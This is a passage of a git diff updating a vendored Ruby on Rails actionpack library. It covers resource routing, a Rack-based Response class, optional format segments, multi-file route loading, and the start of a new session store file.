     # * <tt>:new</tt> - Same as <tt>:collection</tt>, but for actions that operate on the new \resource action.
     # * <tt>:controller</tt> - Specify the controller name for the routes.
     # * <tt>:singular</tt> - Specify the singular name used in the member routes.
-    # * <tt>:requirements</tt> - Set custom routing parameter requirements.
+    # * <tt>:requirements</tt> - Set custom routing parameter requirements; this is a hash of either 
+    #     regular expressions (which must match for the route to match) or extra parameters. For example:
+    #
+    #       map.resource :profile, :path_prefix => ':name', :requirements => { :name => /[a-zA-Z]+/, :extra => 'value' }
+    #
+    #     will only match if the first part is alphabetic, and will pass the parameter :extra to the controller.
     # * <tt>:conditions</tt> - Specify custom routing recognition conditions.  \Resources sets the <tt>:method</tt> value for the method-specific routes.
     # * <tt>:as</tt> - Specify a different \resource name to use in the URL path. For example:
     #     # products_path == '/productos'
@@ -307,9 +317,10 @@ module ActionController
     #       notes.resources :attachments
     #     end
     #
-    # * <tt>:path_names</tt> - Specify different names for the 'new' and 'edit' actions. For example:
+    # * <tt>:path_names</tt> - Specify different path names for the actions. For example:
     #     # new_products_path == '/productos/nuevo'
-    #     map.resources :products, :as => 'productos', :path_names => { :new => 'nuevo', :edit => 'editar' }
+    #     # bids_product_path(1) == '/productos/1/licitacoes'
+    #     map.resources :products, :as => 'productos', :member => { :bids => :get }, :path_names => { :new => 'nuevo', :bids => 'licitacoes' }
     #
     #   You can also set default action names from an environment, like this:
     #     config.action_controller.resources_path_names = { :new => 'nuevo', :edit => 'editar' }
@@ -398,8 +409,6 @@ module ActionController
     #   # --> POST /posts/1/comments (maps to the CommentsController#create action)
     #   # --> PUT /posts/1/comments/1 (fails)
     #
-    # The <tt>:only</tt> and <tt>:except</tt> options are inherited by any nested resource(s).
-    #
     # If <tt>map.resources</tt> is called with multiple resources, they all get the same options applied.
     #
     # Examples:
@@ -517,16 +526,16 @@ module ActionController
         resource = Resource.new(entities, options)
 
         with_options :controller => resource.controller do |map|
-          map_collection_actions(map, resource)
-          map_default_collection_actions(map, resource)
-          map_new_actions(map, resource)
-          map_member_actions(map, resource)
-
           map_associations(resource, options)
 
           if block_given?
             with_options(options.slice(*INHERITABLE_OPTIONS).merge(:path_prefix => resource.nesting_path_prefix, :name_prefix => resource.nesting_name_prefix), &block)
           end
+
+          map_collection_actions(map, resource)
+          map_default_collection_actions(map, resource)
+          map_new_actions(map, resource)
+          map_member_actions(map, resource)
         end
       end
 
@@ -534,16 +543,16 @@ module ActionController
         resource = SingletonResource.new(entities, options)
 
         with_options :controller => resource.controller do |map|
-          map_collection_actions(map, resource)
-          map_default_singleton_actions(map, resource)
-          map_new_actions(map, resource)
-          map_member_actions(map, resource)
-
           map_associations(resource, options)
 
           if block_given?
             with_options(options.slice(*INHERITABLE_OPTIONS).merge(:path_prefix => resource.nesting_path_prefix, :name_prefix => resource.nesting_name_prefix), &block)
           end
+
+          map_collection_actions(map, resource)
+          map_new_actions(map, resource)
+          map_member_actions(map, resource)
+          map_default_singleton_actions(map, resource)
         end
       end
 
@@ -578,7 +587,10 @@ module ActionController
         resource.collection_methods.each do |method, actions|
           actions.each do |action|
             [method].flatten.each do |m|
-              map_resource_routes(map, resource, action, "#{resource.path}#{resource.action_separator}#{action}", "#{action}_#{resource.name_prefix}#{resource.plural}", m)
+              action_path = resource.options[:path_names][action] if resource.options[:path_names].is_a?(Hash)
+              action_path ||= action
+
+              map_resource_routes(map, resource, action, "#{resource.path}#{resource.action_separator}#{action_path}", "#{action}_#{resource.name_prefix}#{resource.plural}", m)
             end
           end
         end
@@ -622,7 +634,7 @@ module ActionController
               action_path = resource.options[:path_names][action] if resource.options[:path_names].is_a?(Hash)
               action_path ||= Base.resources_path_names[action] || action
 
-              map_resource_routes(map, resource, action, "#{resource.member_path}#{resource.action_separator}#{action_path}", "#{action}_#{resource.shallow_name_prefix}#{resource.singular}", m)
+              map_resource_routes(map, resource, action, "#{resource.member_path}#{resource.action_separator}#{action_path}", "#{action}_#{resource.shallow_name_prefix}#{resource.singular}", m, { :force_id => true })
             end
           end
         end
@@ -633,16 +645,14 @@ module ActionController
         map_resource_routes(map, resource, :destroy, resource.member_path, route_path)
       end
 
-      def map_resource_routes(map, resource, action, route_path, route_name = nil, method = nil)
+      def map_resource_routes(map, resource, action, route_path, route_name = nil, method = nil, resource_options = {} )
         if resource.has_action?(action)
-          action_options = action_options_for(action, resource, method)
+          action_options = action_options_for(action, resource, method, resource_options)
           formatted_route_path = "#{route_path}.:format"
 
           if route_name && @set.named_routes[route_name.to_sym].nil?
-            map.named_route(route_name, route_path, action_options)
-            map.named_route("formatted_#{route_name}", formatted_route_path, action_options)
+            map.named_route(route_name, formatted_route_path, action_options)
           else
-            map.connect(route_path, action_options)
             map.connect(formatted_route_path, action_options)
           end
         end
@@ -654,9 +664,10 @@ module ActionController
         end
       end
 
-      def action_options_for(action, resource, method = nil)
+      def action_options_for(action, resource, method = nil, resource_options = {})
         default_options = { :action => action.to_s }
         require_id = !resource.kind_of?(SingletonResource)
+        force_id = resource_options[:force_id] && !resource.kind_of?(SingletonResource)
 
         case default_options[:action]
           when "index", "new"; default_options.merge(add_conditions_for(resource.conditions, method || :get)).merge(resource.requirements)
@@ -664,12 +675,8 @@ module ActionController
           when "show", "edit"; default_options.merge(add_conditions_for(resource.conditions, method || :get)).merge(resource.requirements(require_id))
           when "update";       default_options.merge(add_conditions_for(resource.conditions, method || :put)).merge(resource.requirements(require_id))
           when "destroy";      default_options.merge(add_conditions_for(resource.conditions, method || :delete)).merge(resource.requirements(require_id))
-          else                  default_options.merge(add_conditions_for(resource.conditions, method)).merge(resource.requirements)
+          else                 default_options.merge(add_conditions_for(resource.conditions, method)).merge(resource.requirements(force_id))
         end
       end
   end
 end
-
-class ActionController::Routing::RouteSet::Mapper
-  include ActionController::Resources
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/response.rb b/vendor/rails/actionpack/lib/action_controller/response.rb
index 559c38ef..192d3145 100644
--- a/vendor/rails/actionpack/lib/action_controller/response.rb
+++ b/vendor/rails/actionpack/lib/action_controller/response.rb
@@ -1,24 +1,25 @@
 require 'digest/md5'
 
 module ActionController # :nodoc:
-  # Represents an HTTP response generated by a controller action. One can use an
-  # ActionController::AbstractResponse object to retrieve the current state of the
-  # response, or customize the response. An AbstractResponse object can either
-  # represent a "real" HTTP response (i.e. one that is meant to be sent back to the
-  # web browser) or a test response (i.e. one that is generated from integration
-  # tests). See CgiResponse and TestResponse, respectively.
+  # Represents an HTTP response generated by a controller action. One can use
+  # an ActionController::Response object to retrieve the current state
+  # of the response, or customize the response. An Response object can
+  # either represent a "real" HTTP response (i.e. one that is meant to be sent
+  # back to the web browser) or a test response (i.e. one that is generated
+  # from integration tests). See CgiResponse and TestResponse, respectively.
   #
-  # AbstractResponse is mostly a Ruby on Rails framework implement detail, and should
-  # never be used directly in controllers. Controllers should use the methods defined
-  # in ActionController::Base instead. For example, if you want to set the HTTP
-  # response's content MIME type, then use ActionControllerBase#headers instead of
-  # AbstractResponse#headers.
+  # Response is mostly a Ruby on Rails framework implement detail, and
+  # should never be used directly in controllers. Controllers should use the
+  # methods defined in ActionController::Base instead. For example, if you want
+  # to set the HTTP response's content MIME type, then use
+  # ActionControllerBase#headers instead of Response#headers.
   #
-  # Nevertheless, integration tests may want to inspect controller responses in more
-  # detail, and that's when AbstractResponse can be useful for application developers.
-  # Integration test methods such as ActionController::Integration::Session#get and
-  # ActionController::Integration::Session#post return objects of type TestResponse
-  # (which are of course also of type AbstractResponse).
+  # Nevertheless, integration tests may want to inspect controller responses in
+  # more detail, and that's when Response can be useful for application
+  # developers. Integration test methods such as
+  # ActionController::Integration::Session#get and
+  # ActionController::Integration::Session#post return objects of type
+  # TestResponse (which are of course also of type Response).
   #
   # For example, the following demo integration "test" prints the body of the
   # controller response to the console:
@@ -29,25 +30,26 @@ module ActionController # :nodoc:
   #      puts @response.body
   #    end
   #  end
-  class AbstractResponse
+  class Response < Rack::Response
     DEFAULT_HEADERS = { "Cache-Control" => "no-cache" }
     attr_accessor :request
 
-    # The body content (e.g. HTML) of the response, as a String.
-    attr_accessor :body
-    # The headers of the response, as a Hash. It maps header names to header values.
-    attr_accessor :headers
-    attr_accessor :session, :cookies, :assigns, :template, :layout
+    attr_accessor :session, :assigns, :template, :layout
     attr_accessor :redirected_to, :redirected_to_method_params
 
     delegate :default_charset, :to => 'ActionController::Base'
 
     def initialize
-      @body, @headers, @session, @assigns = "", DEFAULT_HEADERS.merge("cookie" => []), [], []
-    end
+      @status = 200
+      @header = Rack::Utils::HeaderHash.new(DEFAULT_HEADERS)
 
-    def status; headers['Status'] end
-    def status=(status) headers['Status'] = status end
+      @writer = lambda { |x| @body << x }
+      @block = nil
+
+      @body = "",
+      @session = []
+      @assigns = []
+    end
 
     def location; headers['Location'] end
     def location=(url) headers['Location'] = url end
@@ -109,13 +111,17 @@ module ActionController # :nodoc:
     def etag
       headers['ETag']
     end
-    
+
     def etag?
       headers.include?('ETag')
     end
-    
+
     def etag=(etag)
-      headers['ETag'] = %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(etag))}")
+      if etag.blank?
+        headers.delete('ETag')
+      else
+        headers['ETag'] = %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(etag))}")
+      end
     end
 
     def redirect(url, status)
@@ -138,26 +144,64 @@ module ActionController # :nodoc:
       handle_conditional_get!
       set_content_length!
       convert_content_type!
+      convert_language!
+      convert_cookies!
+    end
+
+    def each(&callback)
+      if @body.respond_to?(:call)
+        @writer = lambda { |x| callback.call(x) }
+        @body.call(self, self)
+      elsif @body.respond_to?(:to_str)
+        yield @body
+      else
+        @body.each(&callback)
+      end
+
+      @writer = callback
+      @block.call(self) if @block
+    end
+
+    def write(str)
+      @writer.call str.to_s
+      str
+    end
+
+    def flush #:nodoc:
+      ActiveSupport::Deprecation.warn(
+        'Calling output.flush is no longer needed for streaming output ' +
+        'because ActionController::Response automatically handles it', caller)
+    end
+
+    def set_cookie(key, value)
+      if value.has_key?(:http_only)
+        ActiveSupport::Deprecation.warn(
+          "The :http_only option in ActionController::Response#set_cookie " +
+          "has been renamed. Please use :httponly instead.", caller)
+        value[:httponly] ||= value.delete(:http_only)
+      end
+
+      super(key, value)
     end
 
     private
-      def handle_conditional_get! 
-        if etag? || last_modified? 
-          set_conditional_cache_control! 
-        elsif nonempty_ok_response? 
-          self.etag = body 
+      def handle_conditional_get!
+        if etag? || last_modified?
+          set_conditional_cache_control!
+        elsif nonempty_ok_response?
+          self.etag = body
 
-          if request && request.etag_matches?(etag) 
-            self.status = '304 Not Modified' 
-            self.body = '' 
-          end 
+          if request && request.etag_matches?(etag)
+            self.status = '304 Not Modified'
+            self.body = ''
+          end
 
-          set_conditional_cache_control! 
-        end 
+          set_conditional_cache_control!
+        end
       end
 
       def nonempty_ok_response?
-        ok = !status || status[0..2] == '200'
+        ok = !status || status.to_s[0..2] == '200'
         ok && body.is_a?(String) && !body.empty?
       end
 
@@ -168,23 +212,28 @@ module ActionController # :nodoc:
       end
 
       def convert_content_type!
-        if content_type = headers.delete("Content-Type")
-          self.headers["type"] = content_type
-        end
-        if content_type = headers.delete("Content-type")
-          self.headers["type"] = content_type
-        end
-        if content_type = headers.delete("content-type")
-          self.headers["type"] = content_type
+        headers['Content-Type'] ||= "text/html"
+        headers['Content-Type'] += "; charset=" + headers.delete('charset') if headers['charset']
+      end
+
+      # Don't set the Content-Length for block-based bodies as that would mean
+      # reading it all into memory. Not nice for, say, a 2GB streaming file.
+      def set_content_length!
+        if status && status.to_s[0..2] == '204'
+          headers.delete('Content-Length')
+        elsif length = headers['Content-Length']
+          headers['Content-Length'] = length.to_s
+        elsif !body.respond_to?(:call) && (!status || status.to_s[0..2] != '304')
+          headers["Content-Length"] = (body.respond_to?(:bytesize) ? body.bytesize : body.size).to_s
         end
       end
-    
-      # Don't set the Content-Length for block-based bodies as that would mean reading it all into memory. Not nice
-      # for, say, a 2GB streaming file.
-      def set_content_length!
-        unless body.respond_to?(:call) || (status && status[0..2] == '304')
-          self.headers["Content-Length"] ||= body.size
-        end
+
+      def convert_language!
+        headers["Content-Language"] = headers.delete("language") if headers["language"]
+      end
+
+      def convert_cookies!
+        headers['Set-Cookie'] = Array(headers['Set-Cookie']).compact
       end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/routing.rb b/vendor/rails/actionpack/lib/action_controller/routing.rb
index 8d51e823..f9b0c4bb 100644
--- a/vendor/rails/actionpack/lib/action_controller/routing.rb
+++ b/vendor/rails/actionpack/lib/action_controller/routing.rb
@@ -1,6 +1,5 @@
 require 'cgi'
 require 'uri'
-require 'action_controller/polymorphic_routes'
 require 'action_controller/routing/optimisations'
 require 'action_controller/routing/routing_ext'
 require 'action_controller/routing/route'
@@ -84,9 +83,11 @@ module ActionController
   # This sets up +blog+ as the default controller if no other is specified.
   # This means visiting '/' would invoke the blog controller.
   #
-  # More formally, you can define defaults in a route with the <tt>:defaults</tt> key.
+  # More formally, you can include arbitrary parameters in the route, thus:
   #
-  #   map.connect ':controller/:action/:id', :action => 'show', :defaults => { :page => 'Dashboard' }
+  #   map.connect ':controller/:action/:id', :action => 'show', :page => 'Dashboard'
+  #
+  # This will pass the :page parameter to all incoming requests that match this route.
   #
   # Note: The default routes, as provided by the Rails generator, make all actions in every
   # controller accessible via GET requests. You should consider removing them or commenting
@@ -192,9 +193,8 @@ module ActionController
   #
   #   map.connect '*path' , :controller => 'blog' , :action => 'unrecognized?'
   #
-  # will glob all remaining parts of the route that were not recognized earlier. This idiom
-  # must appear at the end of the path. The globbed values are in <tt>params[:path]</tt> in
-  # this case.
+  # will glob all remaining parts of the route that were not recognized earlier. 
+  # The globbed values are in <tt>params[:path]</tt> as an array of path segments.
   #
   # == Route conditions
   #
@@ -267,10 +267,13 @@ module ActionController
   module Routing
     SEPARATORS = %w( / . ? )
 
-    HTTP_METHODS = [:get, :head, :post, :put, :delete]
+    HTTP_METHODS = [:get, :head, :post, :put, :delete, :options]
 
     ALLOWED_REQUIREMENTS_FOR_OPTIMISATION = [:controller, :action].to_set
 
+    mattr_accessor :generate_best_match
+    self.generate_best_match = true
+
     # The root paths which may contain controller files
     mattr_accessor :controller_paths
     self.controller_paths = []
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/builder.rb b/vendor/rails/actionpack/lib/action_controller/routing/builder.rb
index d4e501e7..d9590c88 100644
--- a/vendor/rails/actionpack/lib/action_controller/routing/builder.rb
+++ b/vendor/rails/actionpack/lib/action_controller/routing/builder.rb
@@ -34,6 +34,8 @@ module ActionController
       def segment_for(string)
         segment =
           case string
+            when  /\A\.(:format)?\// 
+              OptionalFormatSegment.new
             when /\A:(\w+)/
               key = $1.to_sym
               key == :controller ? ControllerSegment.new(key) : DynamicSegment.new(key)
@@ -157,7 +159,8 @@ module ActionController
         path = "/#{path}" unless path[0] == ?/
         path = "#{path}/" unless path[-1] == ?/
 
-        path = "/#{options[:path_prefix].to_s.gsub(/^\//,'')}#{path}" if options[:path_prefix]
+        prefix = options[:path_prefix].to_s.gsub(/^\//,'')
+        path = "/#{prefix}#{path}" unless prefix.blank?
 
         segments = segments_for_route_path(path)
         defaults, requirements, conditions = divide_route_options(segments, options)
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/optimisations.rb b/vendor/rails/actionpack/lib/action_controller/routing/optimisations.rb
index 4522ebcb..714cf978 100644
--- a/vendor/rails/actionpack/lib/action_controller/routing/optimisations.rb
+++ b/vendor/rails/actionpack/lib/action_controller/routing/optimisations.rb
@@ -65,7 +65,7 @@ module ActionController
       # rather than triggering the expensive logic in +url_for+.
       class PositionalArguments < Optimiser
         def guard_conditions
-          number_of_arguments = route.segment_keys.size
+          number_of_arguments = route.required_segment_keys.size
           # if they're using foo_url(:id=>2) it's one
           # argument, but we don't want to generate /foos/id2
           if number_of_arguments == 1
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/recognition_optimisation.rb b/vendor/rails/actionpack/lib/action_controller/routing/recognition_optimisation.rb
index 3b98b166..9bfebff0 100644
--- a/vendor/rails/actionpack/lib/action_controller/routing/recognition_optimisation.rb
+++ b/vendor/rails/actionpack/lib/action_controller/routing/recognition_optimisation.rb
@@ -56,7 +56,7 @@ module ActionController
         result = recognize_optimized(path, environment) and return result
 
         # Route was not recognized. Try to find out why (maybe wrong verb).
-        allows = HTTP_METHODS.select { |verb| routes.find { |r| r.recognize(path, :method => verb) } }
+        allows = HTTP_METHODS.select { |verb| routes.find { |r| r.recognize(path, environment.merge(:method => verb)) } }
 
         if environment[:method] && !HTTP_METHODS.include?(environment[:method])
           raise NotImplemented.new(*allows)
@@ -98,7 +98,6 @@ module ActionController
           if Array === item
             i += 1
             start = (i == 1)
-            final = (i == list.size)
             tag, sub = item
             if tag == :dynamic
               body += padding + "#{start ? 'if' : 'elsif'} true\n"
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/route.rb b/vendor/rails/actionpack/lib/action_controller/routing/route.rb
index a610ec7e..e2077eda 100644
--- a/vendor/rails/actionpack/lib/action_controller/routing/route.rb
+++ b/vendor/rails/actionpack/lib/action_controller/routing/route.rb
@@ -35,6 +35,11 @@ module ActionController
           segment.key if segment.respond_to? :key
         end.compact
       end
+      
+      def required_segment_keys
+        required_segments = segments.select {|seg| (!seg.optional? && !seg.is_a?(DividerSegment)) || seg.is_a?(PathSegment) }
+        required_segments.collect { |seg| seg.key if seg.respond_to?(:key)}.compact
+      end
 
       # Build a query string from the keys of the given hash. If +only_keys+
       # is given (as an array), only the keys indicated will be used to build
@@ -122,6 +127,16 @@ module ActionController
         super
       end
 
+      def generate(options, hash, expire_on = {})
+        path, hash = generate_raw(options, hash, expire_on)
+        append_query_string(path, hash, extra_keys(options))
+      end
+
+      def generate_extras(options, hash, expire_on = {})
+        path, hash = generate_raw(options, hash, expire_on)
+        [path, extra_keys(options)]
+      end
+
       private
         def requirement_for(key)
           return requirements[key] if requirements.key? key
@@ -150,11 +165,6 @@ module ActionController
           # the query string. (Never use keys from the recalled request when building the
           # query string.)
 
-          method_decl = "def generate(#{args})\npath, hash = generate_raw(options, hash, expire_on)\nappend_query_string(path, hash, extra_keys(options))\nend"
-          instance_eval method_decl, "generated code (#{__FILE__}:#{__LINE__})"
-
-          method_decl = "def generate_extras(#{args})\npath, hash = generate_raw(options, hash, expire_on)\n[path, extra_keys(options)]\nend"
-          instance_eval method_decl, "generated code (#{__FILE__}:#{__LINE__})"
           raw_method
         end
 
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/route_set.rb b/vendor/rails/actionpack/lib/action_controller/routing/route_set.rb
index 1b8b52ad..8e4ed7bc 100644
--- a/vendor/rails/actionpack/lib/action_controller/routing/route_set.rb
+++ b/vendor/rails/actionpack/lib/action_controller/routing/route_set.rb
@@ -7,6 +7,8 @@ module ActionController
       # Mapper instances have relatively few instance methods, in order to avoid
       # clashes with named routes.
       class Mapper #:doc:
+        include ActionController::Resources
+
         def initialize(set) #:nodoc:
           @set = set
         end
@@ -136,13 +138,17 @@ module ActionController
             end
           end
 
+          def named_helper_module_eval(code, *args)
+            @module.module_eval(code, *args)
+          end
+
           def define_hash_access(route, name, kind, options)
             selector = hash_access_name(name, kind)
-            @module.module_eval <<-end_eval # We use module_eval to avoid leaks
-              def #{selector}(options = nil)
-                options ? #{options.inspect}.merge(options) : #{options.inspect}
-              end
-              protected :#{selector}
+            named_helper_module_eval <<-end_eval # We use module_eval to avoid leaks
+              def #{selector}(options = nil)                                      # def hash_for_users_url(options = nil)
+                options ? #{options.inspect}.merge(options) : #{options.inspect}  #   options ? {:only_path=>false}.merge(options) : {:only_path=>false}
+              end                                                                 # end
+              protected :#{selector}                                              # protected :hash_for_users_url
             end_eval
             helpers << selector
           end
@@ -166,33 +172,44 @@ module ActionController
             #
             #   foo_url(bar, baz, bang, :sort_by => 'baz')
             #
-            @module.module_eval <<-end_eval # We use module_eval to avoid leaks
-              def #{selector}(*args)
-
-                #{generate_optimisation_block(route, kind)}
-
-                opts = if args.empty? || Hash === args.first
-                  args.first || {}
-                else
-                  options = args.extract_options!
-                  args = args.zip(#{route.segment_keys.inspect}).inject({}) do |h, (v, k)|
-                    h[k] = v
-                    h
-                  end
-                  options.merge(args)
-                end
-
-                url_for(#{hash_access_method}(opts))
-              end
-              protected :#{selector}
+            named_helper_module_eval <<-end_eval # We use module_eval to avoid leaks
+              def #{selector}(*args)                                                        # def users_url(*args)
+                                                                                            #
+                #{generate_optimisation_block(route, kind)}                                 #   #{generate_optimisation_block(route, kind)}
+                                                                                            #
+                opts = if args.empty? || Hash === args.first                                #   opts = if args.empty? || Hash === args.first
+                  args.first || {}                                                          #     args.first || {}
+                else                                                                        #   else
+                  options = args.extract_options!                                           #     options = args.extract_options!
+                  args = args.zip(#{route.segment_keys.inspect}).inject({}) do |h, (v, k)|  #     args = args.zip([]).inject({}) do |h, (v, k)|
+                    h[k] = v                                                                #       h[k] = v
+                    h                                                                       #       h
+                  end                                                                       #     end
+                  options.merge(args)                                                       #     options.merge(args)
+                end                                                                         #   end
+                                                                                            #
+                url_for(#{hash_access_method}(opts))                                        #   url_for(hash_for_users_url(opts))
+                                                                                            #
+              end                                                                           # end
+              #Add an alias to support the now deprecated formatted_* URL.                  # #Add an alias to support the now deprecated formatted_* URL.
+              def formatted_#{selector}(*args)                                              # def formatted_users_url(*args)
+                ActiveSupport::Deprecation.warn(                                            #   ActiveSupport::Deprecation.warn(
+                  "formatted_#{selector}() has been deprecated. " +                         #     "formatted_users_url() has been deprecated. " +
+                  "Please pass format to the standard " +                                   #     "Please pass format to the standard " +
+                  "#{selector} method instead.", caller)                                    #     "users_url method instead.", caller)
+                #{selector}(*args)                                                          #   users_url(*args)
+              end                                                                           # end
+              protected :#{selector}                                                        # protected :users_url
             end_eval
             helpers << selector
           end
       end
 
-      attr_accessor :routes, :named_routes, :configuration_file
+      attr_accessor :routes, :named_routes, :configuration_files
 
       def initialize
+        self.configuration_files = []
+
         self.routes = []
         self.named_routes = NamedRouteCollection.new
 
@@ -206,7 +223,6 @@ module ActionController
       end
 
       def draw
-        clear!
         yield Mapper.new(self)
         install_helpers
       end
@@ -230,8 +246,22 @@ module ActionController
         routes.empty?
       end
 
+      def add_configuration_file(path)
+        self.configuration_files << path
+      end
+
+      # Deprecated accessor
+      def configuration_file=(path)
+        add_configuration_file(path)
+      end
+      
+      # Deprecated accessor
+      def configuration_file
+        configuration_files
+      end
+
       def load!
-        Routing.use_controllers! nil # Clear the controller cache so we may discover new ones
+        Routing.use_controllers!(nil) # Clear the controller cache so we may discover new ones
         clear!
         load_routes!
       end
@@ -240,26 +270,42 @@ module ActionController
       alias reload! load!
 
       def reload
-        if @routes_last_modified && configuration_file
-          mtime = File.stat(configuration_file).mtime
-          # if it hasn't been changed, then just return
-          return if mtime == @routes_last_modified
-          # if it has changed then record the new time and fall to the load! below
-          @routes_last_modified = mtime
+        if configuration_files.any? && @routes_last_modified
+          if routes_changed_at == @routes_last_modified
+            return # routes didn't change, don't reload
+          else
+            @routes_last_modified = routes_changed_at
+          end
         end
+
         load!
       end
 
       def load_routes!
-        if configuration_file
-          load configuration_file
-          @routes_last_modified = File.stat(configuration_file).mtime
+        if configuration_files.any?
+          configuration_files.each { |config| load(config) }
+          @routes_last_modified = routes_changed_at
         else
           add_route ":controller/:action/:id"
         end
       end
+      
+      def routes_changed_at
+        routes_changed_at = nil
+        
+        configuration_files.each do |config|
+          config_changed_at = File.stat(config).mtime
+
+          if routes_changed_at.nil? || config_changed_at > routes_changed_at
+            routes_changed_at = config_changed_at 
+          end
+        end
+        
+        routes_changed_at
+      end
 
       def add_route(path, options = {})
+        options.each { |k, v| options[k] = v.to_s if [:controller, :action].include?(k) && v.is_a?(Symbol) }
         route = builder.build(path, options)
         routes << route
         route
@@ -359,11 +405,14 @@ module ActionController
           end
 
           # don't use the recalled keys when determining which routes to check
-          routes = routes_by_controller[controller][action][options.keys.sort_by { |x| x.object_id }]
+          future_routes, deprecated_routes = routes_by_controller[controller][action][options.reject {|k,v| !v}.keys.sort_by { |x| x.object_id }]
+          routes = Routing.generate_best_match ? deprecated_routes : future_routes
 
-          routes.each do |route|
+          routes.each_with_index do |route, index|
             results = route.__send__(method, options, merged, expire_on)
-            return results if results && (!results.is_a?(Array) || results.first)
+            if results && (!results.is_a?(Array) || results.first)
+              return results
+            end
           end
         end
 
@@ -382,10 +431,16 @@ module ActionController
         end
       end
 
+      def call(env)
+        request = Request.new(env)
+        app = Routing::Routes.recognize(request)
+        app.call(env).to_a
+      end
+
       def recognize(request)
         params = recognize_path(request.path, extract_request_environment(request))
         request.path_parameters = params.with_indifferent_access
-        "#{params[:controller].camelize}Controller".constantize
+        "#{params[:controller].to_s.camelize}Controller".constantize
       end
 
       def recognize_path(path, environment={})
@@ -396,7 +451,10 @@ module ActionController
         @routes_by_controller ||= Hash.new do |controller_hash, controller|
           controller_hash[controller] = Hash.new do |action_hash, action|
             action_hash[action] = Hash.new do |key_hash, keys|
-              key_hash[keys] = routes_for_controller_and_action_and_keys(controller, action, keys)
+              key_hash[keys] = [
+                routes_for_controller_and_action_and_keys(controller, action, keys),
+                deprecated_routes_for_controller_and_action_and_keys(controller, action, keys)
+              ]
             end
           end
         end
@@ -408,10 +466,11 @@ module ActionController
         merged = options if expire_on[:controller]
         action = merged[:action] || 'index'
 
-        routes_by_controller[controller][action][merged.keys]
+        routes_by_controller[controller][action][merged.keys][1]
       end
 
       def routes_for_controller_and_action(controller, action)
+        ActiveSupport::Deprecation.warn "routes_for_controller_and_action() has been deprecated. Please use routes_for()"
         selected = routes.select do |route|
           route.matches_controller_and_action? controller, action
         end
@@ -419,6 +478,12 @@ module ActionController
       end
 
       def routes_for_controller_and_action_and_keys(controller, action, keys)
+        routes.select do |route|
+          route.matches_controller_and_action? controller, action
+        end
+      end
+
+      def deprecated_routes_for_controller_and_action_and_keys(controller, action, keys)
         selected = routes.select do |route|
           route.matches_controller_and_action? controller, action
         end
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/segments.rb b/vendor/rails/actionpack/lib/action_controller/routing/segments.rb
index f6b03edc..4f936d51 100644
--- a/vendor/rails/actionpack/lib/action_controller/routing/segments.rb
+++ b/vendor/rails/actionpack/lib/action_controller/routing/segments.rb
@@ -3,7 +3,11 @@ module ActionController
     class Segment #:nodoc:
       RESERVED_PCHAR = ':@&=+$,;'
       SAFE_PCHAR = "#{URI::REGEXP::PATTERN::UNRESERVED}#{RESERVED_PCHAR}"
-      UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false, 'N').freeze
+      if RUBY_VERSION >= '1.9'
+        UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false).freeze
+      else
+        UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false, 'N').freeze
+      end
 
       # TODO: Convert :is_optional accessor to read only
       attr_accessor :is_optional
@@ -191,23 +195,19 @@ module ActionController
       end
 
       def regexp_chunk
-        if regexp
-          if regexp_has_modifiers?
-            "(#{regexp.to_s})"
-          else
-            "(#{regexp.source})"
-          end
-        else
-          "([^#{Routing::SEPARATORS.join}]+)"
-        end
+        regexp ? regexp_string : default_regexp_chunk
+      end
+
+      def regexp_string
+        regexp_has_modifiers? ? "(#{regexp.to_s})" : "(#{regexp.source})"
+      end
+
+      def default_regexp_chunk
+        "([^#{Routing::SEPARATORS.join}]+)"
       end
 
       def number_of_captures
-        if regexp
-          regexp.number_of_captures + 1
-        else
-          1
-        end
+        regexp ? regexp.number_of_captures + 1 : 1
       end
 
       def build_pattern(pattern)
@@ -244,10 +244,6 @@ module ActionController
         "(?i-:(#{(regexp || Regexp.union(*possible_names)).source}))"
       end
 
-      def number_of_captures
-        1
-      end
-
       # Don't URI.escape the controller name since it may contain slashes.
       def interpolation_chunk(value_code = local_name)
         "\#{#{value_code}.to_s}"
@@ -289,8 +285,8 @@ module ActionController
         "params[:#{key}] = PathSegment::Result.new_escaped((match[#{next_capture}]#{" || " + default.inspect if default}).split('/'))#{" if match[" + next_capture + "]" if !default}"
       end
 
-      def regexp_chunk
-        regexp || "(.*)"
+      def default_regexp_chunk
+        "(.*)"
       end
 
       def number_of_captures
@@ -308,5 +304,40 @@ module ActionController
         end
       end
     end
+    
+    # The OptionalFormatSegment allows for any resource route to have an optional
+    # :format, which decreases the amount of routes created by 50%.
+    class OptionalFormatSegment < DynamicSegment
+    
+      def initialize(key = nil, options = {})
+        super(:format, {:optional => true}.merge(options))            
+      end
+    
+      def interpolation_chunk
+        "." + super
+      end
+    
+      def regexp_chunk
+        '/|(\.[^/?\.]+)?'
+      end
+    
+      def to_s
+        '(.:format)?'
+      end
+
+      def extract_value
+        "#{local_name} = options[:#{key}] && options[:#{key}].to_s.downcase"
+      end
+
+      #the value should not include the period (.)
+      def match_extraction(next_capture)
+        %[
+          if (m = match[#{next_capture}])
+            params[:#{key}] = URI.unescape(m.from(1))
+          end
+        ]
+      end
+    end
+    
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb b/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb
new file mode 100644
index 00000000..f6369abf
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb
@@ -0,0 +1,181 @@
+require 'rack/utils'
+
+module ActionController
+  module Session
+    class AbstractStore
+      ENV_SESSION_KEY = 'rack.session'.freeze
+      ENV_SESSION_OPTIONS_KEY = 'rack.session.options'.freeze
+
+      HTTP_COOKIE = 'HTTP_COOKIE'.freeze
+      SET_COOKIE = 'Set-Cookie'.freeze
+
+      class SessionHash < Hash
+        def initialize(by, env)
+          super()
+          @by = by
+          @env = env
+          @loaded = false
